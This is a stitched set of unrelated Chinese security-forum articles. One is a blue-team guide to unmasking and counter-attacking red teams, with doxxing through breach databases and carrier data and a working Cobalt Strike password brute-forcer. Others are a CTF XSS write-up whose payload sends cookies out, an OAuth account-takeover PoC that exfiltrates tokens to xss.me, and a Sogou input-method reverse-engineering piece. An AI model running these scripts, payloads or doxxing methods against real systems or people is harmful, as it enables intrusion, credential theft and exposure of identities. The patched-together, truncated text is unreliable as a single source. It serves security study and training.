2: ip> whois 、域名反查
ip ，初步可进行 whois 查询, 以及域名反查，查看历史的的解析、以及历史的ip拥有记录，运气好的话，假如攻击队成员使用的是自己的博客之类的vps
常用节点，那么很有可能能够通过这个手法进行溯源到相关人员。
3: ip > 探测端口，服务，进行反渗透vp
ip， 对该ip 进行端口探测、服务探测，进行反渗透。 一般来说红队的vps 都是在一些国内外的一些vps
主机供应商或者云服务供应商那边购买，假如是国内的话，可通过公安网警进行协助查水表，获取真实人员身份。
假如我们反渗透成功，那么可提取历史登入记录，历史ip，网络连接、进程、以及攻击工具、进程、内存镜像等方式进行取证分析。
4: Ip> 威胁情报
ip，对使用威胁情报进行综合分析，查看该ip他人对该ip
打的标签、历史解析记录、历史变更记录、以及该ip上面关联的相关样本，这些都能够获取到进行进一步分析。
5: Whois > 邮箱，qq， 手机号 > 社工库
通过ip的whois 获取到了相关人员的qq 或者邮箱或者手机号，那么可使用社工库，进行社工查询，比如twitter
的社工库机器人或者自行研究的社工库进行综合关联分析。
6: 手机号》 qq、微信、抖音、陌陌、脉脉等接口。
获取到了手机号，那么可通过qq 、微信、抖音、陌陌、脉脉等接口进行关联，一般而言获取到了手机号初步可通过这种简单易行的手法去溯源到红队人员。
7: 手机号》 ga数据、运营商数据。
当然，如果你有办法能通过ga资源，或者直接通过运营商拿数据，那就更好了。
8: Ip 反查相关推荐
Whois 查询：
<http://ipwhois.cnnic.net.cn/>
批量ip归属：<http://ip.tool.chinaz.com/siteip>
<http://www.jsons.cn/ipbatch/>
<https://ip.tool.chinaz.com/>
<http://cip.cc/>
威胁情报推荐地址
<https://x.threatbook.cn/>
样本查询地址
<https://www.virustotal.com/>
精准定位：
<https://www.ipuu.net/>
<https://chaipip.com/aiwen.html>
## 常见红队被反杀的姿势
1:
使用个人工作PC，且浏览器里面保存了Baidu、163、Sina等登陆凭据，攻击对抗过程中踩到蓝队蜜罐，被JsonP劫持漏洞捕获安全社交id，从而被溯源到真实姓名和所在公司。
2、可能是蓝方封禁IP太厉害的原因，红队个人或团队，使用自己的网站vps进行扫描，vps上含有团伙组织HTTPS证书、或VPS
IP绑定的域名跟安全社交id对应，从而被溯源到真实姓名和所在公司。
3、部分攻击队写的扫描器payload里面含有攻击者信息，如使用了私有DNSlog、攻击载荷里面含有安全社交id、含有个人博客资源请求等。
4、投递的钓鱼邮件内木马样本被蓝队采集、逆向、反控C2C、溯源到个人信息。
5、虚拟机逃逸打到实体机，暴露个人全部真实信息的。
## 反制红队基础设施的骚操作
### Cobalt Strike 反制
在防守里面，必不可少的是邮件钓鱼，或者社工钓鱼，一般来说钓鱼的样本无非这几种：
exe 、elf 可执行文件， 以及加了料的doc 类的宏木马。 一般而言，目前红队主要是通过Cobalt Strike 生成相关上线的shell
，那么针对Cobalt Strike 如何进行反制呢。
1 :批量上线钓鱼马，启几百个进程，ddos 红方的cs 端
假如我们获取到了红方的cs 样本，那么第一种方法可批量启几百个进程运行该样本（注意与真实环境隔离好，蓝队别自己送人头了），然后红方的cs
端几乎瘫痪，无法使用。
直接附github 地址：
<https://github.com/Tk369/pluginS/blob/master/ll.py>
2: 爆破cs 密码
此计名为：釜底抽薪。
一般而言，红队的cs设施为了多人运动，密码通常不会太复杂，有很大机会是弱口令为主，甚至Teamserver端口50050，那么针对cs
端控制端，可直接进行爆破密码，然后进行釜底抽薪
附cs 爆破密码脚本
#!/usr/bin/env python3
import time,socket,ssl,argparse,concurrent.futures,sys
MIN_PYTHON = (3, 3)
if sys.version_info < MIN_PYTHON:
sys.exit("Python %s.%s or later is required.\n" % MIN_PYTHON)
parser = argparse.ArgumentParser()
parser.add_argument("host",
help="Teamserver address")
parser.add_argument("wordlist", nargs="?",
help="Newline-delimited word list file")
args = parser.parse_args()
class NotConnectedException(Exception):
def __init__(self, message=None, node=None):
self.message = message
self.node = node
class DisconnectedException(Exception):
def __init__(self, message=None, node=None):
self.message = message
self.node = node
class Connector:
def __init__(self):
self.sock = None
self.ssl_sock = None
self.ctx = ssl.SSLContext()
self.ctx.verify_mode = ssl.CERT_NONE
pass
def is_connected(self):
return self.sock and self.ssl_sock
def open(self, hostname, port):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(10)
self.ssl_sock = self.ctx.wrap_socket(self.sock)
if hostname == socket.gethostname():
ipaddress = socket.gethostbyname_ex(hostname)[2][0]
self.ssl_sock.connect((ipaddress, port))
else:
self.ssl_sock.connect((hostname, port))
def close(self):
if self.sock:
self.sock.close()
self.sock = None
self.ssl_sock = None
def send(self, buffer):
if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")
self.ssl_sock.sendall(buffer)
def receive(self):
if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")
received_size = 0
data_buffer = b""
while received_size < 4:
data_in = self.ssl_sock.recv()
data_buffer = data_buffer + data_in
received_size += len(data_in)
return data_buffer
def passwordcheck(password):
if len(password) > 0:
result = None
conn = Connector()
conn.open(args.host, 50050)
payload = bytearray(b"\x00\x00\xbe\xef") + len(password).to_bytes(1, "big", signed=True) + bytes(bytes(password, "ascii").ljust(256, b"A"))
conn.send(payload)
if conn.is_connected(): result = conn.receive()
if conn.is_connected(): conn.close()
if result == bytearray(b"\x00\x00\xca\xfe"): return password
else: return False
else: print("Do not have a blank password!!!")
passwords = []
if args.wordlist: passwords = open(args.wordlist).read().split("\n")
else:
for line in sys.stdin: passwords.append(line.rstrip())
if len(passwords) > 0:
attempts = 0
failures = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=30) as executor:
future_to_check = {executor.submit(passwordcheck, password): password for password in passwords}
for future in concurrent.futures.as_completed(future_to_check):
password = future_to_check[future]
try:
data = future.result()
attempts = attempts + 1
if data:
print ("Successful Attack!!!")
print("Target Password: {}".format(password))
except Exception as exc:
failures = failures + 1
print('%r generated an exception: %s' % (password, exc))
else:
print("Password(s) required")
3: 假上线
我们只需要发送心跳包，即可模拟上线，并且攻击者无法执行命令，只能干着急。
也就是模拟cs 上线，直接附代码。
使用时更改换`IP`或域名、`port`、`cookie`
# coding: utf-8
import re
import time
import requests
def heartbeat():
url = "http://192.168.186.133:333/activity"
headers = {
'Cookie': 'IgyzGuIX0Jra5Ht45ZLYKyXWBnxfkNI3m6BOvExEPdWCuAv8fnY6HXKTygBOVdE34sDYusoDIjzHr/QR32mKsoVPb5NFMCHAtC7FLQUdSsZdufXjsd2dSqkGDcaZkcQYD1BssyjGZHTy42lT8oDpga3y1z5FMGRjobeksgaMX7M=',
'Host': '192.168.186.133:333',
'Accept': '*/*',
'Connection': 'Keep-Alive',
'Cache-Control': 'no-cache',
'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727)'
}
resp = requests.get(url=url,headers=headers)
text = resp.content.hex()
return text
x = True
while x:
text = heartbeat()
lengs = len(text)
# print(lengs, " ", text)
if '2f4320' in text and '000041' in text:
print(time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()))
commeds = re.findall(r'2f4320(.*?)000041', text)
for comm in commeds:
commed = bytes.fromhex(comm).decode('utf-8')
print(commed)
time.sleep(5)
### 针对dnslog 的反制
此计可用混水摸鱼计策：乘其阴乱，利其弱而无主。随，以向晦入宴息。
解释： 通过流量设备审计到他人的dnslog 平台的url payload， 那么针对他的url payload 可进行反制。
一般而言，常见的公开的dnslog 平台，蓝队防守的时候可对常见dnslog 平台进行屏蔽即可，那么针对自行搭建的dnslog 平台有以下思路进行反制。
#### dnslog反制
可进行批量ping 捕获到的dnslog
，然后恶意扰乱他自行搭建的，恶意制造各种垃圾dnslog数据，让他无法获取到有效信息。直接让红队人员被迫废弃一个红队基础设施。
具体可以写个脚本比如站长之家之类的进行批量ping ，进行探测存活。
#### httplog反制
http log 同理， 使用爬虫节点，批量进行request 请求 捕获的http url 即可，这样红队的dnslog 平台几乎彻底报废。
以上，是作为防守蓝队，如何对红队的攻击行为，进行反制的一些思路总结。
## 总结
以上就是针对从取证反查、到对红队的基础设施进行反制的常规手法。
参考：
<https://k8gege.org/p/40523.html>
<https://www.anquanke.com/post/id/219059>
<https://mp.weixin.qq.com/s/vZzDUZsqfAZR9VRDMLXxJA>
<https://mp.weixin.qq.com/s/AZwKkEeTErPeOrkVH2Mirw> | 社区文章 |
**作者：LoRexxar'@知道创宇404实验室
时间：2020年7月14日**
前两天看了今年Geekpwn 2020
云端挑战赛，web题目涉及到了几个新时代前端特殊技巧，可能在实战中利用起来难度比较大，但是从原理上又很符合真实世界的逻辑，这里我们主要以解释题目为主，但是也探索一下在真实场景下的利用。
### Noxss
noxss提供了一个特殊的利用方式，就是当我们没有反射性xss的触发点时，配合1-click，哪怕是在真实世界场景并且比较现代前端安全的场景下，还有没有什么办法可以泄露页面内容呢？
#### 从题目开始
首先我们从题目给的源码出发，主要的代码有两个部分
app.py
from flask import Flask, request, jsonify, Response
from os import getenv
app = Flask(__name__)
DATASET = {
114: '514',
810: '8931919',
2017: 'https://blog.cal1.cn/post/RCTF%202017%20rCDN%20%26%20noxss%20writeup',
2019: 'https://hackmd.io/IlzCicHXSN-MXl2JLCYr0g?view',
2020: 'flag{xxxxxxxx}',
}
# @app.before_request
# def check_host():
# if request.host != getenv('NOXSS_HOST') or request.remote_addr != getenv('BOT_IP'):
# return Response(status=403)
@app.route("/")
def index():
return app.send_static_file('index.html')
@app.route("/search")
def search_handler():
keyword = request.args.get('keyword')
if keyword is None:
return jsonify(DATASET)
else:
ret = {}
for i in DATASET:
if keyword in DATASET[i]:
ret[i] = DATASET[i]
return jsonify(ret), 200 if len(ret) else 404
@app.after_request
def add_security_headers(resp):
resp.headers['X-Frame-Options'] = 'sameorigin'
resp.headers['Content-Security-Policy'] = 'default-src \'self\'; frame-src https://www.youtube.com'
resp.headers['X-Content-Type-Options'] = 'nosniff'
resp.headers['Referrer-Policy'] = 'same-origin'
return resp
if __name__ == '__main__':
app.run(host='0.0.0.0', port=3000, )
从代码里我们可以很明显的关注到几个点。
由于服务端限制了访问的HOST，所以我们只能通过前端的手段去跨源读取页面的内容，结合title为noxss，所以我们就是需要找一个前端的办法去读取页面内容。
众所周知，前端涉及到读取内容就逃不开 **同源策略**
，事实证明，我们没有任何办法在不使用0day的情况下获得跨源站点下的内容，那么我们不妨去探索一下这个场景的特殊性。
1、页面有无内容的状态差异
我们聚焦到search这个路由时，可以关注到一个特殊点，当查询不到内容时，页面会返回不同的状态码
return jsonify(ret), 200 if len(ret) else 404
* 当查询到内容时，页面会返回内容且状态码为200
* 当没有查询到内容时，页面直接返回404
2、加载内容的差异
这里我们关注到index.html引用的uwu.js
let u = new URL(location), p = u.searchParams, k = p.get('keyword') || ''
if ('' === k) history.replaceState('', '', '?keyword=')
axios.get(`/search?keyword=${encodeURIComponent(k)}`).then(resp => {
result.innerHTML = ''
for (i of Object.keys(resp.data)) {
let p = document.createElement('pre')
p.textContent = resp.data[i]
result.appendChild(p)
}
}, err => {
console.log(err)
result.innerHTML = '<marquee behavior="alternate"><h1>something is off</h1></marquee><marquee behavior="alternate"><h2>LITERALLY UNPLAYABLE</h2></marquee>'
result.innerHTML += '<iframe width="560" height="315" src="https://www.youtube.com/embed/lkDUObv5iIU" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>'
})
当我们搜索不到内容的时候，页面会内加载来自于youtube的视频，只要是加载就会出现时延。
这也是我最初的思路，但是我发现没办法得到加载状态，后来也没想通这个怎么利用，所以就不了了之了，
结合第一点差异，我们将目标更正为： **如何获得跨源站点的状态码差异？**
在讨论这个问题之前，我们先讨论下题目涉及到的几个保护头。
#### 安全的http头
题目中分别设置了多个安全头，我们一起来看看这几个头都代表什么样的安全属性。
resp.headers['X-Frame-Options'] = 'sameorigin'
resp.headers['Content-Security-Policy'] = 'default-src \'self\'; frame-src https://www.youtube.com'
resp.headers['X-Content-Type-Options'] = 'nosniff'
resp.headers['Referrer-Policy'] = 'same-origin'
* X-Frame-Options
X-Frame-Options: deny
X-Frame-Options: sameorigin
X-Frame-Options: allow-from https://example.com/
这个头限制了当前页面引用iframe和被iframe引用的情况。
当该值为deny时，该页面不允许被任何页面应用也不允许引用任何页面。 当该值为sameorigin时，该页面只能引用同源的页面。
<https://developer.mozilla.org/zh-CN/docs/Web/HTTP/X-Frame-Options>
* Content-Security-Policy
这里不花太多笔墨在关于CSP的赘述上，详细可以看我以前的文章。
<https://lorexxar.cn/2017/10/25/csp-paper/>
* X-Content-Type-Options
X-Content-Type-Options: nosniff
下面两种情况的请求将被阻止： 请求类型是"style" 但是 MIME 类型不是 "text/css"， 请求类型是"script" 但是 MIME
类型不是 JavaScript MIME 类型。
在当前场景下也同样存在这个问题，如果我们尝试用script加载search页面来解决跨源问题的话，就会出现返回的application/json类型不匹配js的MIME类型。
* Referrer-Policy
Referrer-Policy: no-referrer
Referrer-Policy: no-referrer-when-downgrade
Referrer-Policy: origin
Referrer-Policy: origin-when-cross-origin
Referrer-Policy: same-origin
Referrer-Policy: strict-origin
Referrer-Policy: strict-origin-when-cross-origin
Referrer-Policy: unsafe-url
这个头实际上主要围绕referer的配置
当被设置为same-origin时，只有在同源请求的时候，才会发送referer信息。
#### 通过返回不同来获取页面内容
在我们了解完前面的所有安全配置头以后，我们很容易发现，从理论上没办法绕过并获取到窗口的dom，但事实是，并不是所有的浏览器对于http标准解释方式一致。
当我们在firefox中试图加载页面时，firefox会毫不留情的拦截返回并且不会有任何处理区别。但是在chrome中就有区别了。
当我们构造如下页面时
<html>
<head>
</head>
<script>
let test1 = document.createElement('script');
test1.src = "http://127.0.0.1:3000/search?keyword=f";
document.head.append(test1);
let test2 = document.createElement('script');
test2.src = "http://127.0.0.1:3000/search?keyword=fa";
document.head.append(test2);
test1.onload = function(){
alert('1');
}
test2.onload = function(){
alert('2');
}
</script>
</html>
当我们在chrome下访问时
和在firefox中不同，chrome会首先判断返回的状态码，并且触发onload事件，然后才会被CORB所拦截。这样一来，由于请求返回的差异，我们就可以通过onload事见来判断请求的返回状态码，从而逐位注得flag值。
在NU1L的Wp中还用了win1.frames.length去取open窗口的内的frames数量，这个利用方式涉及到前面提到的第二点，主要是利用了搜索不到内容时，页面会多出来的iframe标签来做判断，比较神奇的是这个属性居然是不会被CORB拦截的。
具体可以看NU1L的wp <https://mp.weixin.qq.com/s/oc6KhO5yU5w6l8oKT-OaEw>
### umsg
umsg题目涉及到了一个现代前端中很容易出现也很有意思的问题。这个问题最早我是在最后一届乌云大会上听#呆子不开口分享的议题中看到了。
这里我们首先看看题目中的关键的代码
mounted: function() {
window.addEventListener("message", (function(e) {
if (e.origin.match("http://umsg.iffi.top"))
switch (e.data.action) {
case "append":
return void (document.getElementsByTagName("main")[0].innerHTML += e.data.payload);
case "debug":
return void console.log(e.data.payload);
case "ping":
return void e.source.postMessage("pong", "*")
}
}
), !1),
postMessage({
action: "ping"
})
}
页面会将收到的消息插入到页面内，且并没有什么过滤，所以我们主要需要绕过的是来自于源的限制
if (e.origin.match("http://umsg.iffi.top"))
很明显可以看出来对对于源得判断是错误的，只校验了域名头。
这里我们只要找一个`http://umsg.iffi.top.xxx.xxx`来构造利用即可。就可以绕过对源的判断。
利用代码如下：
<html>
<iframe id="page1" src="http://umsg.iffi.top:3000"></iframe>
<script>
setTimeout(function(){
var page2 = document.getElementById('page1').contentWindow;
page2.postMessage({action:"append", payload:"<img src=/ onerror=\"location.href=\'http://xxxxxxxxxxx?a=\'+document.cookie\">"}, 'http://umsg.iffi.top:3000');
}, 3000);
</script>
</html>
可以看到，现代前端开发过程中，普遍使用postmessage来作为跨源手段，早先前端开发意识不强，来源经常为`*`，随着时间的演变，可能还有更多难以识别的问题在不断产生着，这些问题随时都有可能演化为一个新的漏洞。
* * * | 社区文章 |
# Login CSRF + DOM-XSS + unsafe URL redirect = ATO
在最近参与的一次对站点A的众测中，我发现A可以使用QQ账号进行登陆。在过去的几个月里，我发现了大量关于OAuth登陆劫持的漏洞，如果你有兴趣，可以参考：[OAuth回调参数漏洞案例解析](https://03i0.com/2018/04/01/OAuth%E5%9B%9E%E8%B0%83%E5%8F%82%E6%95%B0%E6%BC%8F%E6%B4%9E%E6%A1%88%E4%BE%8B%E8%A7%A3%E6%9E%90/)
尽管我相信目标A已经不存在OAuth登陆劫持漏洞（因为QQ已经在redirect_uri参数上做了强校验），但是我仍打算对它的登陆流程一探究竟。
下面，我以A.com代表目标A的域名来展示我是怎样发现一个账号劫持漏洞的。
打开A的QQ登陆链接后，我发现了一些奇妙的事。
如上图，redirect_uri并没有指向A.com，而是指向了B.com。将参数URL解码，
不难推测，这里涉及到2次跨域登陆：
1. redirect_uri: qq.com => B.com
2. s_url: B.com => A.com
在开头已经说过，QQ已经对redirect_uri参数做了强校验，要想劫持到B.com的登陆账号已经不太可能。所以，我的目标放在了s_url这个参数上。
简单分析一下登陆流程就能发现s_url是如何工作的。
**(a)** 首先，用户使用QQ账号登陆到B.com；
**(b)** 然后B.com发送如下请求，获取token，并引导用户携带token跳转到A.com；
**(c)** A.com验证token是合法的，则种下cookie。
至此，用户成功登陆到A.com。
从整个登陆流程来看，只要我们能想办法窃取到token，就能劫持用户的登陆账号。
## unsafe URL redirect
我的目标是窃取到token，最直接的办法当然是修改参数s_url，让用户携带token跳转到恶意域名，从而泄露token。
一番测试后，我发现s_url的校验也很严格，即使在路径后面附加一些字符，生成的跳转链接中都不会携带token。
经过一些fuzz后，我发现我似乎能在最后一个字符后面附加一些符号。
我可以在s_url的结尾附加3种符号，而不影响token的生成，分别是:
%3f => ?
%20 => 空格
%23 => #
`#`让我眼前一亮，众所周知，URL中的`#`将被浏览器视作锚点，其后的数据不会发送到服务器。
当用户跳转到这个地址，自然会无法认证成功，并停留在Login页面。
此时token也将出现在URL中。
至此，我们已经在窃取token的道路上迈出了重要的一步。
## DOM-XSS
现在，我们面临的问题是如何获取到URL中的token。
最容易想到的就是XSS啦，我们可以用XSS创建一个iframe，在iframe加载登陆链接，当跳转完成后，再获取iframe的`location.href`属性。
一番寻找后，我终于找到一处疑似存在DOM-XSS的函数，
renderFrame: function (url, param, path, hash, isOld) {
var that = this;
hash && (url += isOld ? "/" + hash : "#" + hash),
param && param._hash && (url += param._hash),
url += window.location.search,
path = path.replace(/(\/?console\/?)/, ""),
path = path.replace(/\/\*/, "");
var $frame = $('<iframe src="' + url + '" frameborder=0 width="100%" height="99%"></iframe>'),
......
验证后发现确实存在，payload:
但是这个XSS必须用户登陆后才能触发，如果能找一处登陆CSRF，就能使得漏洞更通用了。
## Login CSRF
其实在前面已经提到了这个漏洞了，
这个请求不会检查referer，携带未使用过的token请求这个链接就能登陆成功。所以，只要我们事先准备一个没使用过的token，让受害者请求这个链接就行了。
## ATO
接下来理一下整个利用过程：
1. 登陆我自己的账号，抓一个token
2. 让受害者用我的token登陆
3. 触发XSS
1. 打开QQ的OAuth登陆界面
2. 受害者使用QQ账号登陆
3. 页面跳转到`[A.com/Login#token=111](http://A.com/Login#token=111)`
4. 获取location.href，窃取到token
在打开OAuth登陆界面这一步我原本打算使用iframe，但是测试后发现在iframe里无法无法跳转到A.com，因为B.com使用了如下代码来防止iframe加载，
if (top != self) {
top.location.href = s_url;
} else {
top.location.replace(s_url);
}
但我们可以使用`window.open()`开一个新窗口来绕过。
以下是我写的一个POC:
evil.html:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Login CSRF</title>
</head>
<body>
<!--首先创建一个iframe用我的token登陆-->
<iframe src="https://A.com/Index/Login?token={My_token}"
sandbox="allow-popups allow-scripts allow-same-origin" width="500px" height="500px"></iframe>
<script>
// 登陆成功后，跳转到XSS地址
function redirect2xss() {
window.location.href = "https://A.com/xxx/%22/onload=%20eval(atob(%22d2l0aChkb2N1bWVudClib2R5LmFwcGVuZENoaWxkKGNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9J2h0dHBzOi8veHNzLm1lLzEuanMn%22))//";
}
setTimeout(redirect2xss, 6000);
</script>
</body>
</html>
1.js:
document.body.onload = function () {
// 打开OAuth登陆界面
myWindow = window.open('https://graph.qq.com/oauth2.0/show?which=Login&display=pc&client_id=111111&response_type=code&redirect_uri=https%3A%2F%2FB.com%2Flogin%2FqqAccessCallback%3Fs_url%3Dhttps%253A%252F%252FA.com%252FIndex%252FLogin%2523%252FLogin%26fwd_flag%3D7&state=aaa', '', 'width=600,height=600');
setTimeout(function () {
// 获取token
data = myWindow.document.location.href;
fetch("//xss.me/?data=" + escape(data));
}, 9000);
}; | 社区文章 |
# 前言
通过本文介绍怎么对一个 `windows` 程序进行安全分析。分析的软件版本为 `2018-10-9` , 所有相关文件的链接
链接：https://pan.baidu.com/s/1l6BuuL-HPFdkFsVNOLpjUQ
提取码：erml
# 逆向分析
## 定位核心代码
拿到一个软件首先需要进行攻击面的探测，即找到尽可能多的可以与程序进行交互的入口点，有数据交互的地方就有可能会出现漏洞。首先对软件的功能做一个大概的了解，发现搜狗输入法能够安装用户自定义的皮肤，这是一个比较好的入口点，于是下面分析分析处理皮肤文件的逻辑。
先从官网随便下个皮肤，然后拿 `010editor` 简单看看能不能拿到一些有用的信息。
使用 `binwalk` 也没有识别出文件格式，于是猜测应该是输入法自己实现的格式。
后来在对皮肤相关的功能进行浏览的时候发现有皮肤编辑器这个软件
https://pinyin.sogou.com/skins/design.php
下载下来随便创建一个皮肤，发现此时的皮肤格式为 `zip` 格式，双击也能正常安装。皮肤编辑器的最近更新在 13
年，估计输入法是为了做兼容，同时支持两种格式的皮肤文件。
下载下来的皮肤双击就可以安装，这样的安装方式我们不好定位具体安装皮肤的程序，这时我们可以使用 `api montor`
监控当双击皮肤文件时系统所执行的命令，以便进行下一步的分析。
打开 `api monitor` ， 然后打开皮肤文件可以监控到搜狗输入法处理皮肤文件执行的命令
"C:\Program Files (x86)\SogouInput\SogouExe\SogouExe.exe" "C:\Program Files (x86)\SogouInput\9.1.0.2657\SGTool.exe"-line 0 -border --appid=skinreg -list "C:\Users\XinSai\Desktop\test.ssf"
通过使用 `Procmon.exe` 分析，其实最后调用
"C:\Program Files (x86)\SogouInput\9.1.0.2657\SGTool.exe" -line 0 -border --appid=skinreg -install -c "C:\Users\XinSai\Desktop\test.ssf" -q -ef
通过执行这条命令就可以把皮肤安装到输入法内部。
下面把 `SGTool.exe` 拖到 IDA 里面， 使用命令行选项来搜索字符串的交叉引用去找到相关的处理代码。通过对命令行参数的交叉引用逐步向上追溯，在
`0x07A04D0` 发现程序会根据 `appid` 参数的值，决定下一步进行处理的函数
然后调试发现一直断不到这，于是用 `drrun` 看看程序到底走了哪些路径
drrun.exe -t drcov -- "C:\Program Files (x86)\SogouInput\9.1.0.2657\SGTool.exe" -line 0 -border --appid=skinreg -install -c "C:\Users\XinSai\Desktop\test.ssf" -q -ef
发现直接点击 `ssf` 文件还是没有进入这个分支。
经过不断的尝试 + 使用一些监控软件，发现在关闭所有搜狗输入法相关进程的情况下，双击 `.ssf` 文件，会首先使用
"C:\Program Files (x86)\SogouInput\9.1.0.2657\SGTool.exe" -daemon
开启一个类似于服务器的进程，然后在使用
"C:\Program Files (x86)\SogouInput\9.1.0.2657\SGTool.exe" -line 0 -border --appid=skinreg -install -c "C:\Users\XinSai\Desktop\test.ssf" -q -ef
另外再起一个 `SGTool.exe` 的进程向刚刚启动服务进程发送消息，后续的皮肤处理在服务进程进行。猜测可能是使用了 `windows`
本地通信机制实现 C/S 架构
后续在瞎试的时候，将一个非皮肤文件命名成
`.ssf` 后缀，然后双击会出现报错信息。
根据这些字符串在 `od` 里面找，可以找到一些信息，最后通过对
皮肤解压失败:skin.ini不存在
交叉引用, 然后不断回溯， 发现了一个有趣的函数 `0x07A72D0`
这个函数首先 调用 `0x7A84F0`检测了某些参数。
从我们的参数进行对比，猜测这里校验的应该是最后那两个参数
然后猜测 `-q` 应该是安静模式，于是删掉 `-q` 试了一试
发现居然会有提示框，那这个提示框的代码附件应该离处理 皮肤文件的代码更加近了。
对字符串交叉引用，发现其实就是上面的那个代码（`0x007A75DC`）
所以从这里开始，应该就开始对皮肤文件进行处理了。
## 分析皮肤处理相关的代码
经过不断的调试以及查看函数调用的参数，发现当我们点击 **确认** 的时候，会调用位于`0x914980` 的函数。
这个函数传入的参数是一个对象指针，对象内部有我们皮肤文件的路径，这个函数会对传入的 皮肤文件 进行第一次的判断。
函数首先会打开文件， 然后取出开头的`4` **个字节** 作为文件类型，判断是不是`Skin。`如果是的话就认为是最新的皮肤格式然后进入后续的操作。
如果不是就认为是第一代皮肤格式 ，即用`zip`格式打包的皮肤。
调试时，可以看到 `type` 的值。 下面是打开的官网下载的皮肤文件，所以 `type` 为 `Skin`.
当皮肤文件的`type`值不为`Skin`时，程序会进入`decompress_skin_ini (0x063F340)`,
这个函数里面会调用`ziplib.dll` 里面的函数对皮肤文件进行解压，提取并解析`skin.ini`文件。
总的来说，`0x914980` 函数其实只是校验了皮肤文件的版本信息，对于 文件头 不是 `Skin` 的文件，则认为是第一代皮肤格式文件，然后会使用
`ziplib.dll` 里面的函数提取 `skin.ini` 文件并尝试解析它。
在进行完第一次的校验后，会回到 `0x7A72D0`, 将文件拷贝到用户的皮肤保存目录，然后对皮肤文件进行解析，提取出里面的文件。
其中 `0x7A6230 deal_skin` 就是解析皮肤文件的入口，它会调用 `0x63E3F0` 完成具体文件解析流程。
这个函数首先判断文件头 ， 如果是 `Skin` , 表示为最新格式的皮肤文件
则通过 `decompress_skinv3 0x053B320` 进行解析并提取出皮肤包里面包含的文件。否则就认为是第一代皮肤文件, 使用
`ziplib` 里面的函数, 把皮肤包里面的文件解压出来。
for ( i = v25 - 3; v28 < v27; ++v28 )
{
..................................................................
..................................................................
..................................................................
..................................................................
if ( decompress_file_from_zip(v46, v65, &path, target, &len, &buf) )
{
v47 = len;
if ( len <= 0x80000000 && len )
{
len = target;
(*v51)(&v51, &len, 0);
v48 = buf;
v54 = v47;
v53 = buf;
sub_53ACE0(obj1, &v50, 0);// 做一些析构操作
sub_49F5C0(ziplib_obj, v65, v47, v48);
}
v24 = v62;
}
..................................................................
..................................................................
..................................................................
..................................................................
}
下面对`decompress_skinv3(0x053B320)`进行分析，以便理解最新皮肤包的格式
首先打开皮肤包，读取文件内容到内存，然后把文件内容，大小传给 `handle_skinv3 0x0053A8C0` 进行处理。
通过对这个函数的逆向，可以明白`.ssf`文件开头 **8个字节的结构为 4字节的** **Skin 和 4 字节的 version 字段**
校验完版本信息后， 会对文件头部后的数据使用程序自己实现的算法进行解码，然后对解码之后的数据使用`zlib`再次解码。
`zlib` 解码完成后，把解码后的数据传入 `0x53bf50` （调试时确认）对文件进行提取
这个函数对传入的数据进行解析，提取出相关的文件
// 调用者 0x53AAE1
unsigned int __thiscall skin_v3_step2(int this, unsigned int *buf, unsigned int size, int a4)
{
len = *buf; // 取出 buf 开始的 4 个字节, 表示数据的长度
if ( *buf > size )
return -1;
new_size = size - 4;
sizea = size - 4;
if ( *buf )
{
if ( (**(this + 4))(this + 4, buf + 1, new_size, a4) < 0 )// 调用0x53c110L，第 2， 3个参数为 buf + 4, size-4
// 就是忽略掉头4个字节
// 函数作用复制 zlib 解码后的数据 0x8-0x40 到对象里面
do // 循环的从 zlib 解压过的文件里面提取出文件
{
offset = *(v12 + 4 * v9);
if ( offset < data_len )
{
v17 = (**v15)(cur, sizea, a4); // 调用 0x923f70L, 提取文件名
if ( v17 < 0 )
goto LABEL_19;
v18 = &cur[v17];
v19 = (*v22[3])(v18, sizea - v17, a4);// 调用的是 0x53c1c0L， 提取文件内容
}
++v9;
}
while ( v9 < v11 );
## 文件格式汇总
### 老版本的皮肤格式
其实就是一个 `zip` 包， 里面有配置文件和一些图片。
### 新版本的皮肤格式
首先是 `.ssf` 文件
开头 8个字节为 4字节的 `Skin` 和 4 字节的 `version`
* 然后调用 `0x0639610` 对 **文件偏移 8** 开始进行解码， 解码后的数据 `A` 偏移 4 字节开始 为 `zlib` 压缩的数据。
* 然后对 `A + 4` 使用 `zlib` 解码，得到 `zlib` 解码后的数据 `B`
* 然后把 `B` 和 `B` 的长度传入 `0x53bf50` 继续处理
`B` 的结构为
开头4个字节为数据的总长度
然后根据 `0x53C110` ， 后面紧跟着的 4 个字节为文件映射表的长度，即 `0x38`
字节。每一个表项4个字节，代表表项指示其所表示的文件在整个文件中的偏移地址。
如图所示， 第一个表项的值为 `0x40`， 所以第一个文件应该在 `0x40` 处。
经过一定的观察发现一个文件的表示方式为
* 4字节： 文件名的长度
* 文件名( `unicode` 编码)
* 4字节： 文件数据的长度
* 文件数据
# 发现漏洞
分析完整个皮肤处理的代码后发现整个代码的逻辑还是不怎么复杂的。于是可以直接读反编译的代码来找找看是否存在什么漏洞。在读代码找漏洞时重点关注缓冲区的操作，
内存的分配大小以及对文件中表示长度的字段的使用是否合理。
经过一番仔细的走查发现在对皮肤文件第一步用自己实现的解密算法解密后的开始 4 个字节为 `deocded_data_size` ， 之后会把它加上 `8`
然后去分配内存。
`deocded_data_size` 是从解密后的文件中取出的，当把 `deocded_data_size` 改成 `0xffffffff`
时，在分配内存时会整数溢出导致分配比较小的内存块，然后后续的代码在使用这个缓冲区时会造成一个堆溢出。漏洞已于3个月前提交并修复。
# 总结
在分析软件功能实现时，可以采用一些监控软件比如 `api monitor`
来辅助定位关键代码。一些程序中的提示，报错信息也可以用来定位。最重要的就是多调试，多调试。程序从文件内容中取 `size` 时要注意校验。 | 社区文章 |
为了方便多个域名做跨域请求，于是在response有了 Access-Control-Allow-Origin属性，这个属性值可以定制需要跨域的域名，也支持通配符 _，如果在response中为_ ，则可以做跨域请求，验证代码如下：
